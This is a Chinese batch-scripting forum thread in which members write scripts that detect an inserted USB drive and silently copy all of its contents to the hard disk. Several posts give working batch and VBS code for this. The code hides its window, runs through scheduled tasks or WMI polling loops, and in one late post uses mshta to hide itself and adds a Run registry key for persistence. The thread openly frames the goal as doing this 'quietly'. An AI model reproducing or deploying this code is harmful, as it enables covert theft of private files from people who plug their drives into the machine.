Board logo

标题: 如何判断U盘已插入并自动COPY所有内容 [打印本页]

作者: gene771771     时间: 2006-11-29 13:29    标题: 如何判断U盘已插入并自动COPY所有内容

有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不出来,来这里请教各位大仙~~~
谢谢!!!
最好是可以常注内存并自动判断滴,可以用第三方软件,比如SLEEP,choice等等。。。


现有最新版本为(更新中):
16楼 http://www.cn-dos.net/forum/view ... ghlight=&page=2


[ Last edited by gene771771 on 2006-11-30 at 01:51 AM ]
作者: tianzizhi     时间: 2006-11-29 22:53
判断驱动器类型:
for %%i in (c d e f g h i j k) do@fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do@set yidong=%%i
copy %yidong%\*.* d:\ /y
存为g.bat
再在机子上执行一条每隔一些时间执行一次g.bat的命令
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr g.bat
其中2是指每两分钟执行一次.
其它的你再改改.没测试
作者: 9527     时间: 2006-11-29 23:46
其实向楼主那样说用BAT来实现,效果并不是最佳,因为运行的时候必定会出现窗口,这样就不能达到隐藏的目的了,所以我没有什么可说的了
作者: tianzizhi     时间: 2006-11-30 01:23
再改进一下:
隐藏,调用一次vbs就行了

for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do @set yidong=%%i
copy %yidong%\*.* d:\ /y
del d:\t.txt
存为g.bat
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "d:\g.bat",0
存为b.vbs
再运行一次
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs
即可.

[ Last edited by tianzizhi on 2006-11-30 at 01:27 AM ]
作者: tao0610     时间: 2006-11-30 07:06
计划任务的服务一般都是关闭的,还是INF比较实际一些..
作者: tianzizhi     时间: 2006-11-30 08:22
计划服务大部分都是默认开着的,而不是关着的,我还没见到过重装系统后计划是关的情况.还有汇编,有几个人会用.我们的要求是通用性,人人都会,能简单就尽量简单,能不用第三方软件就尽量不用第三方软件.
作者: tao0610     时间: 2006-11-30 08:34
很多系统的优化都会把计划任务关了,现在装原版系统的也不多了.
inf说得是INF文件.
作者: gene771771     时间: 2006-11-30 09:06    标题: tao0610

请问通过INF怎么实现呢??
作者: gene771771     时间: 2006-11-30 10:37    标题: 修改后的代码

首先,非常感谢tianzizhi提供的源代码,
我现在将修改后的代码发上来,
现在的问题是,怎么启用那个策略呢,默认是关闭的。
或者是不是有高人有其他的解决办法呢???

第一个文件:U盘自动复制.cmd

@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo         ==============================================================
echo.
echo                            U盘自动复制程序
echo.
echo                   欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo                              [1] 运行程序
echo                              [2] 关闭程序
echo                              [3] 安装程序
echo                              [4] 卸载程序
echo                              [5] 使用帮助
echo                              [6] X键关闭
echo.
echo.
echo.
echo         ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs
echo 程序已经成功开始自运行(2分钟扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f
echo 程序已经成功结束自运行!
pause >nul 2>nul
goto start
rem ==============================终止结束=============================



:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo.
echo.
echo   本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo   使用方法: 1  点击安装程序
echo             2  点击运行程序,程序将自动每2分钟执行一次
echo             3  请务必确认你要copy的U盘无毒
echo             4  如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo             5  如果无法自动COPY,请每次手动点击COPY.cmd
echo             6  请及时清理c:\copy文件里边的文件
echo             7  请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo.
echo    本软件为免费软件欢迎大家使用
echo    按任意键返回主菜单
pause >nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================



第二文件:copy.cmd


@echo off
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo 没有检测到可移动磁盘!
exit
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy  
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
echo 已复制,请及时清理文件!
作者: tianzizhi     时间: 2006-11-30 10:41
请tao0610把你所说的用inf文件能实现楼主要求的程序写出来,让大家看看,我也想看看学习,不要光说不做.
作者: gene771771     时间: 2006-11-30 10:41    标题: 上传一个文件,测试用,不完整版本



[ Last edited by gene771771 on 2006-11-30 at 04:02 PM ]
附件 1: U盘自动复制.rar (2006-11-30 10:41, 1.56 K, 下载附件所需积分 1点 ,下载次数: 191)

作者: tianzizhi     时间: 2006-11-30 10:53
楼主做的不错么,鼓励!接着加油!
作者: gene771771     时间: 2006-11-30 11:57    标题: RE:发帖子问我的N个人

使用说明里边说得很清楚,要先安装就行了,默认目录在C:\COPY里边,
要是实现开机自动自行倒是简单,但是因为那个策略的问题现在还没有办法在不用第三方软件的条件下实现自动常驻内存。现在那个文件还是不完整的,等待高手来完善,不会的先不要下载。除非你要测试。其实那个copy.cmd是可以用的,但是就是没有办法自动循环扫描。
作者: gene771771     时间: 2006-11-30 13:00
再次发个源码上来,这个应该可以用了,大家测试一下:

U盘自动复制安装.cmd

@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo         ==============================================================
echo.
echo                            U盘自动复制程序
echo.
echo                   欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo                              [1] 运行程序
echo                              [2] 关闭程序
echo                              [3] 安装程序
echo                              [4] 卸载程序
echo                              [5] 使用帮助
echo                              [6] X键关闭
echo.
echo.
echo                        $$$ 晗晗制造,版本1.0 $$$
echo.
echo         ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
if not exist %temp%\copy.cmd goto start
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo 程序已经成功开始自运行(20秒扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
if not exist %temp%\copy.cmd goto start
tskill ping >nul 2>nul
echo 程序已经成功结束自运行!
pause >nul 2>nul
tskill cmd
rem ==============================终止结束=============================



:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo   本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo   使用方法: 1  点击安装程序
echo             2  点击运行程序,程序将自动每20秒执行一次
echo             3  请务必确认你要copy的U盘无毒
echo             4  如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo             5  如果无法自动COPY,请每次手动点击COPY.cmd
echo             6  请及时清理默认保存目录c:\copy文件夹里边的文件
echo             7  请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo             8  由于是通过PING来实现定时扫描的,占内存多,使用后请记得关闭
echo             9  本软件不保证拷贝数据的正确性
echo            10  本软件不要使用于非法用途
echo.
echo    本软件为免费软件欢迎大家使用
echo    按任意键返回主菜单
pause >nul 2>nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================



copy.cmd



@echo off
mode con: cols=14 lines=1
:again
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy  
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
rem 已复制,请及时清理文件!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
作者: gene771771     时间: 2006-11-30 14:49    标题: 我写的最终版本

原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精!

按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。


[ Last edited by gene771771 on 2006-11-30 at 03:35 PM ]
附件 1: U盘自动复制.rar (2006-12-1 04:25, 9.97 K, 下载附件所需积分 1点 ,下载次数: 565)

作者: dj0733     时间: 2007-2-2 07:18
我也来研究一下~!
我要的是要显示,,并且提示复制成功!
是从文件夹Copy 到U盘。。。。
要是H:插入CP 到H:
要是G:插入CP 到G:
一次性来两个。。就两个全部提示。。
要是没有找U_DISK到就不Copy。。。
呵呵。。LZ 帮搞个简单的,。不要什么安装啊,什么的。。
兄弟们帮忙研究一下,,,
作者: jmz573515     时间: 2007-2-2 08:30
加分~

不过好像不能成功终止,不知道各位的是不是这样?
作者: heicai     时间: 2007-2-2 11:21
楼主,不知我新人能不能说句话。
貌似你copy.cmd里有句代码参数不严谨。
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul
我觉得应该加个 /c


  /C           即使有错误,也继续复制。
作者: heicai     时间: 2007-2-2 11:22
本人相当佩服楼主的IDEA,更佩服各位的实力。
作者: heicai     时间: 2007-2-2 11:27
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul

请教!删除这个是什么作用
作者: lyflpf     时间: 2007-3-12 09:48
看不明白啊
作者: andysky     时间: 2007-3-15 06:53


  Quote:
Originally posted by gene771771 at 2006-11-29 12:29 AM:
有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不 ...

网上有U盘大盗,还有闪盘窥探者
可以实现你所有要求,是完全隐藏运行的.
附件 1: 1.PNG (2007-3-15 06:53, 7.05 K,下载次数: 24)



作者: chengmo     时间: 2007-3-19 01:10
用PING会不会占用太多系统资源和有时间的限制,用SLEEP有时间的限制,,

比如我改为从电脑COPY文件到移动,那就不太实用了,,要让COPY百发百中,不管

时间长短就行,

如果在不用到第三方软件的情况常驻内存那真是太好了,

顺便问一下,这个问题用C语言来实现该如何做(不在该在这里问C,不好意思)
作者: 546474     时间: 2007-5-3 11:07
回帖的真不少,是热门话题。写得太复杂了。
作者: axi     时间: 2007-5-3 12:41    标题: 监视新增驱动器并复制其中文件到硬盘中

其实用VBS可以完成此工作,且隐藏进行(如下例)。这个脚本的好处是,对那些识别为移动硬盘类型的U盘也可以成功复制文件。

1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下
'随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中
'把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
'注意:包括隐藏和系统属性的文件或文件夹均被复制
'覆盖true 不覆盖false  不能覆盖具有只读属性的文件和文件夹
'若出现多个新盘符的话,每个盘中的文件均被复制

Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 3 Then
        If objEvent.Path_.Class = "__InstanceCreationEvent" Then
               NewDri = objEvent.TargetInstance.DeviceId
               fso.CopyFile NewDri & "\*","d:\Tmp\",true
        End If
    End If
Loop
2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下
Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 3 Then
        If objEvent.Path_.Class = "__InstanceCreationEvent" Then
               i=i + 1
               NewDri(i) = objEvent.TargetInstance.DeviceId
               fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
        End If
    End If
Loop

作者: flying008     时间: 2007-5-3 12:52
现在对BAT和VBS看来要两手抓,两手硬才行啊……
AXI,偶对阁下的佩服犹如滔滔江水连绵不绝……
作者: blackbean     时间: 2007-5-16 09:42    标题: 闪盘窥探者-好东西

如何记录插入u盘后拷贝的内容,具体什么名称及内容
作者: yanclhaill     时间: 2007-6-6 10:34
应该直接贴出源码
方便交流
作者: yf210yf     时间: 2007-6-12 10:16    标题: 有适用于2000的么?

有适用于2000的么?
作者: koala     时间: 2007-7-3 20:09
我有  u盘
顶一个
作者: luxuriant     时间: 2007-7-10 20:54
晕乎乎滴,,,,看不清楚....睡一觉先...起来再看拉........
作者: wangchen223     时间: 2007-8-2 10:08
源文件?
作者: singinglee     时间: 2007-11-2 20:43
真的能实现这个功能?
作者: hack123456     时间: 2007-11-4 23:00    标题: 保存为BAT

@echo off
if "%1" == "h" goto :go
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:go
reg add hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run /v run /t REG_SZ /d %0 /f
:loop
for /f "skip=1" %%i in ('wmic LOGICALDISK where "drivetype=2" get name') do (
if not "%%i"=="" xcopy %%i\* c:\a /e/h/r/y/c
)
ping 127.1>nul
goto :loop
作者: yuseecn     时间: 2008-3-28 18:17
下载了,回去研究下
作者: ph430265819     时间: 2008-4-11 23:01
据我前几天使用XCOPY的结果
如果用xcopy d:\*.* c:\copy    的话貌似只会copy文件而不会copy文件夹
如果用xcopy d:\ c:\copy         的话就会复制全部文件包括文件和文件夹
这里的路径只是举例而已啊

不知道我的结果是不是对的
如果错的话请告诉我
作者: echo     时间: 2008-5-12 23:43
回去,得把U盘收好,。不然,哪天资料被LZ偷了都不知道……
作者: 313885174     时间: 2008-9-27 14:28
不停的检测很暂内存的
作者: Evangel     时间: 2008-9-28 03:59
谁让bat和vbs在一起呢?
作者: huaxinnan     时间: 2008-11-3 01:28
不知道用后效果如何,谁出来说下,杀毒软件会报不?
作者: HAT     时间: 2008-11-3 01:32    标题: Re 40楼

为何不亲自测试呢?